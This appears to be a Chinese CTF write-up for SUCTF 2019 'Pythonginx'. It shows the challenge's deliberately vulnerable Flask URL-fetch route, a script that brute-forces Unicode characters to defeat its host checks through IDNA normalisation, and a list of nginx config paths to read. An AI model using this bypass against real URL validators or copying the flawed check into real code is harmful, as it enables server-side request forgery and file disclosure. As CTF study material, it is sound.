[SUCTF 2019]Pythonginx

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@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname

    #第一个if
    if host == 'suctf.cc':
        return "我扌 your problem? 111"

    parts = list(urlsplit(url))
    host = parts[1]

    #第二个if
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host

    #绕过前两个if
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

开局送源码，同样的if不同的host 爆破脚本

点击查看代码

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse

def get_unicode():
    for x in range(65536):
        uni=chr(x);
        url="http://suctf.c{}".format(uni);
        try:
            if getUrl(url):
                print("str: "+uni)
        except:
            pass;


def getUrl(url):
    url=url;
    host=parse.urlparse(url).hostname;
    if host=='suctf.cc':
        return False;

    parts = list(urlsplit(url))
    host = parts[1]
    if host=='suctf.cc':
        return False;

    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    # 去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True;
    else:
        return False;

if __name__=='__main__':
    get_unicode()

随便
nginx配置目录

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配置文件： /usr/local/nginx/conf/nginx.conf
配置文件存放目录：/etc/nginx
主配置文件：/etc/nginx/conf/nginx.conf
管理脚本：/usr/lib64/systemd/system/nginx.service
模块：/usr/lisb64/nginx/modules
应用程序：/usr/sbin/nginx
程序默认存放位置：/usr/share/nginx/html
日志默认存放位置：/var/log/nginx